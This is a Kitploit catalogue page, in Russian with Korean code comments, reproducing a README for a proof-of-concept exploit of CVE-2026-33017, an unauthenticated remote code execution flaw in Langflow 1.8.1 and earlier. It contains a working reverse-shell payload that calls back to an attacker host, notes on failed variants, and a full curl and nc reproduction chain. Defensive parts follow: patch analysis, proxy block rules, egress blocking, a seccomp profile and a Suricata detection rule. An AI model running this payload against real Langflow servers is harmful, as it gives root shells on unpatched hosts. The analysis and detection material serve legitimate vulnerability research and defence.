Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33017 — PoC-эксплойт для неаутентифицированного RCE в Langflow <=1.8.1, включающий анализ первопричины на уровне исходного кода, reverse shell payload с учётом AST, Docker-лабораторию, diff патча и правила обнаружения. | Kitploit
Инструменты/GitHubGitHub/lxxexxbxx/cve-2026-33017
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

PoC-эксплойт для неаутентифицированного RCE в Langflow <=1.8.1, включающий анализ первопричины на уровне исходного кода, reverse shell payload с учётом AST, Docker-лабораторию, diff патча и правила обнаружения.

Репозиторий
11210 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33017 — PoC неаутентифицированной RCE в Langflow

Отказ от ответственности
Данный репозиторий создан в исследовательских и образовательных целях в области безопасности.
Используйте его только в изолированной лабораторной среде.
Использование против несанкционированных систем является нарушением Закона об информационных сетях и влечёт уголовную ответственность.


1. Обзор уязвимости

ПунктОписание
CVE IDCVE-2026-33017
Уязвимое ПОLangflow (конструктор ИИ-воркфлоу)
Затронутые версииLangflow ≤ 1.8.1
Версия с исправлениемLangflow ≥ 1.9.0
Тип уязвимостиUnauthenticated Remote Code Execution (RCE)
CWECWE-306 (Missing Authentication for Critical Function)
CVSS9.3 (Critical)
CISA KEVВключено

2. Анализ причины уязвимости

2-1. Уязвимый эндпоинт

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Эндпоинт предназначен для сборки публичных флоу и спроектирован так, что к нему можно обращаться без аутентификации.

2-2. Путь выполнения кода (Call Chain)

Путь выполнения, установленный прямым прослеживанием исходного кода:

root@kitploit:~
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← 클라이언트 입력 그대로 수신 (취약점)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← 클라이언트 data 그대로 전달
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← 임의 코드 실행

2-3. Фильтрация AST-узлов — ключевое ограничение при построении эксплойта

Функция prepare_global_scope() выполняет не все конструкции поданного кода. После AST-разбора она отбирает и выполняет только узлы определённых типов:

root@kitploit:~
# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨

exec(compiled_code, exec_globals)  # definitions만 실행

Выполняемые типы узлов AST:

Тип узла ASTПримерВыполняется
FunctionDefdef _shell(): ...✅ Выполняется
ClassDefclass ExploitComponent(Component)✅ Выполняется
Assign_r = os.system("id")✅ Выполняется
AnnAssign_r: int = os.system("id")✅ Выполняется
Expros.system("id") (одиночный вызов)❌ Игнорируется

Вывод: чтобы эксплойт выполнился, его необходимо оформить в виде Assign (_r = ...). Простой вызов функции (os.system("id")) классифицируется как узел Expr и отсеивается фильтром.

2-4. Процесс построения эксплойта reverse shell — анализ попыток и неудач

В ходе практической работы были опробованы разные варианты эксплойта; причина каждой неудачи установлена на уровне исходного кода.

Попытка 1 — subprocess.Popen + wait() (неудача)

root@kitploit:~
_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← 여기서 블로킹

Причина неудачи: рабочий поток Langflow отслеживает возвращаемое значение компонента и по истечении тайм-аута принудительно закрывает сокет. Блокирующий вызов _proc.wait() теряет смысл.

Попытка 2 — прямой вызов os.execve() (неудача)

root@kitploit:~
os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

Причина неудачи: по правилам POSIX при вызове execve() в многопоточном процессе завершаются все потоки, кроме вызывающего → полный крах воркера uvicorn → HTTP 500.

Попытка 3 — os.fork() + execve() (неудача)

root@kitploit:~
_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

Причина неудачи: uvicorn расценивает дочерний процесс как аварийно завершившийся и перезапускает воркер → HTTP 500.

Попытка 4 — threading.Thread(daemon=True) (неудача)

root@kitploit:~
threading.Thread(target=_shell, daemon=True).start()

Причина неудачи: поток с daemon=True уничтожается вместе с завершением главного потока (воркера Langflow). Поток умирает ещё до попытки connect().

Финальный работающий эксплойт — threading.Thread(daemon=False) + Assign

root@kitploit:~
# FunctionDef → 실행됨
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

Причины выбора daemon=False:

  • daemon=True → уничтожается вместе с завершением рабочего потока Langflow
  • daemon=False → независимый от воркера жизненный цикл → сокетное соединение сохраняется

3. Настройка лабораторной среды

3-1. Структура файлов

root@kitploit:~
CVE-2026-33017/
├── README.md
├── Dockerfile              # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker     # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml      # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh           # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py              # 리버스 쉘 PoC
└── poc.py                  # Blind RCE / 취약점 존재 확인

3-2. Запуск среды

root@kitploit:~
# 1. 컨테이너 빌드 및 기동
docker compose up --build

# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!

# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. Схема сети

root@kitploit:~
┌──────────────────────────────────────────────────┐
│  Docker Bridge Network: poc-net                  │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (피해자)  │
│  langflow-attacker   172.19.0.3       (공격자)  │
└──────────────────────────────────────────────────┘

4. Использование PoC

4-1. exploit.py — reverse shell

Запуск в контейнере атакующего:

root@kitploit:~
docker exec -it langflow-attacker bash

# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

Опции:

ОпцияОписаниеПо умолчанию
--urlURL целевого LangflowОбязательно
--lhostIP обратного вызова reverse shellОбязательно
--lportПорт обратного вызова reverse shellОбязательно
--flow-idUUID Public флоу (если опущен — создаётся автоматически)Автоматически
--userID администратораadmin
--passwordПароль администратораadmin123!
--no-listenОтключить встроенный слушатель (при использовании внешнего nc)False
--timeoutТайм-аут HTTP (сек)30

Ожидаемый вывод:

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백       : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답  : 200

[+] 쉘 연결됨  ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)

4-2. poc.py — проверка Blind RCE

Используется, когда нужно лишь проверить наличие уязвимости:

root@kitploit:~
python3 poc.py \
  --url http://172.19.0.2:7860 \
  --cmd "id"

4-3. Ручное воспроизведение через curl

root@kitploit:~
# 1. 토큰 발급 + Public 플로우 생성
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin&password=admin123!' \
  | sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"

# 2. nc 리스너 (터미널 1)
nc -lvnp 4444

# 3. 페이로드 전송 (터미널 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H 'Content-Type: application/json' \
  -b 'client_id=poc-12345' \
  -d @/tmp/payload.json

5. Разграничение ролей exploit.py и poc.py

Пунктexploit.pypoc.py
НазначениеПолучение reverse shellПроверка наличия уязвимости (Blind RCE)
Проверка результатаНапрямую в терминале атакующегоЛоги сервера / OOB
СлушательВстроенныйНе требуется
Несколько целейНе поддерживаетсяПоддерживается (--url-file)
Назначение в лабораторииДемонстрация воздействияДоказательство наличия уязвимости

6. Анализ исправления — 1.8.1 vs 1.9.1

6-1. Уязвимый код (1.8.1)

langflow/api/v1/chat.py:

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: FlowDataRequest | None = None,  # ← 클라이언트 입력 수신
    ...
):
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,   # ← 클라이언트 data 그대로 빌드 파이프라인에 전달
        ...
    )

6-2. Исправленный код (1.9.1)

langflow/api/v1/chat.py (подтверждено непосредственно в исходном коде):

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    # data 파라미터 시그니처에서 완전 제거
    ...
):
    """
    Security Note:
    - The 'data' parameter is NOT accepted to prevent flow definition tampering
    - Public flows must execute the stored flow definition only
    - The flow definition is always loaded from the database
    """
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=None,            # ← 하드코딩 None, 클라이언트 입력 완전 차단
        source_flow_id=flow_id,  # ← DB에서만 플로우 정의 로드
        ...
    )

6-3. Сравнение поведения до и после исправления

Пункт1.8.1 (уязвимый)1.9.1 (исправленный)
Приём параметра data✅ Принимается❌ Удалён из сигнатуры
Выполнение определений узлов клиента✅ Возможно❌ Невозможно
Источник определения флоуТело запроса клиентаТолько сохранённое в БД
RCE без аутентификации✅ Успешно❌ Заблокировано
HTTP-ответ200 + подключение к шеллу200 (пустая сборка, узлов нет)

6-4. Оценка подхода к исправлению

Почему корректно именно удаление самого параметра, а не простая проверка входных значений:

root@kitploit:~
취약한 설계: 클라이언트 입력 → 검증 → 실행  (검증 우회 가능성 존재)
패치 설계:   클라이언트 입력 → 완전 무시
             DB 저장 플로우만 → 실행         (공격 경로 자체 제거)

7. Меры по устранению

Мера 1 — обновление версии (устранение причины)

root@kitploit:~
pip install langflow==1.9.1

Мера 2 — блокировка эндпоинта через обратный прокси Nginx

Расположение файла: nginx.conf (создаётся заново)

root@kitploit:~
server {
    listen 80;

    # CVE-2026-33017 취약 엔드포인트 차단
    location ~ ^/api/v1/build_public_tmp/ {
        deny all;
        return 403;
    }

    location / {
        proxy_pass http://langflow:7860;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

Внимание: для эффективности также нужно исключить прямое внешнее обращение к порту 7860 Langflow.

Мера 3 — блокировка эндпоинта через обратный прокси Apache

Расположение файла:

  • Ubuntu/Debian: /etc/apache2/sites-available/langflow.conf
  • CentOS/RHEL: /etc/httpd/conf.d/langflow.conf
root@kitploit:~
<Location "/api/v1/build_public_tmp/">
    Require all denied
</Location>

Мера 4 — политика отказа от Public флоу

Если Public флоу отсутствуют, эндпоинт возвращает 404, и атака невозможна. В рамках эксплуатационной политики запретите создание Public флоу либо переведите существующие флоу в режим PRIVATE.

Мера 5 — AWS Security Group (сетевой уровень)

Для окружения EC2:

root@kitploit:~
Правила входящего трафика:
  Порт 7860 → разрешить только авторизованные IP (убрать 0.0.0.0/0)

Мера 6 — блокировка исходящего трафика контейнера (блокировка обратного вызова reverse shell)

Блокировка внешнего обратного вызова, даже если RCE увенчалась успехом:

root@kitploit:~
# langflow 컨테이너 아웃바운드 차단
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP

Или в docker-compose.yml:

root@kitploit:~
langflow-vuln-lab:
  sysctls:
    - net.ipv4.ip_forward=0

Мера 7 — ужесточение контейнера (минимизация ущерба)

root@kitploit:~
langflow-vuln-lab:
  security_opt:
    - no-new-privileges:true
  cap_drop:
    - ALL
  user: "1000:1000"
  read_only: true
  tmpfs:
    - /tmp

Блокировка опасных системных вызовов с помощью seccomp-профиля (langflow-seccomp.json):

root@kitploit:~
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket", "connect", "fork", "execve"],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}
root@kitploit:~
security_opt:
  - seccomp:./langflow-seccomp.json

Сводка мер

МераТипЭффект
Обновление до 1.9.1Устранение причиныУдаление параметра data
Блокировка Nginx/ApacheБлокировка доступаБлокировка пути атаки
Отказ от Public флоуБлокировка доступаЭндпоинт возвращает 404
AWS Security GroupСетевая блокировкаПолное исключение внешнего доступа
Блокировка исходящего трафикаПост-блокировкаБлокировка обратного вызова reverse shell
Ужесточение контейнераМинимизация ущербаБлокировка повышения привилегий/syscall

8. Обнаружение — IoC

Паттерны обнаружения

Подозрительный HTTP-запрос:

root@kitploit:~
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}

Паттерны в логах сервера Langflow:

root@kitploit:~
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error]   Exception in worker process

Правило Suricata/Snort

root@kitploit:~
alert http any any -> any 7860 (
    msg:"CVE-2026-33017 Langflow RCE Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"/build_public_tmp/"; http_uri;
    content:"CustomComponent"; http_client_body;
    classtype:web-application-attack;
    sid:2026033017; rev:1;
)

9. Справочные материалы

  • NVD — CVE-2026-33017
  • EQSTLab/CVE-2026-33017
  • Официальный коммит исправления Langflow
  • CISA KEV
  • JFrog Security Research

10. Отличия от ранее опубликованных PoC

Данный репозиторий — не просто готовый к запуску PoC; на основе анализа на уровне исходного кода в нём дополнительно установлено следующее:

  1. Обнаружена фильтрация AST-узлов
    Непосредственным анализом исходного кода подтверждено, что prepare_global_scope() в lfx/custom/validate.py игнорирует узлы Expr. Тем самым установлена причина, по которой эксплойт в виде простого вызова функции из ранее опубликованных PoC не срабатывает в этом окружении.

  2. Проанализированы причины неудач эксплойтов
    Причины неудач четырёх способов — Popen+wait(), execve(), fork()+execve() и потока с daemon=True — проанализированы с точки зрения многопоточной архитектуры uvicorn и правил POSIX.

  3. Непосредственно проверен исправленный код
    В chat.py версии 1.9.1 на уровне исходного кода подтверждены жёстко заданный data=None и удаление параметра; проанализирован замысел, заложенный в проект исправления.

Скачать инструмент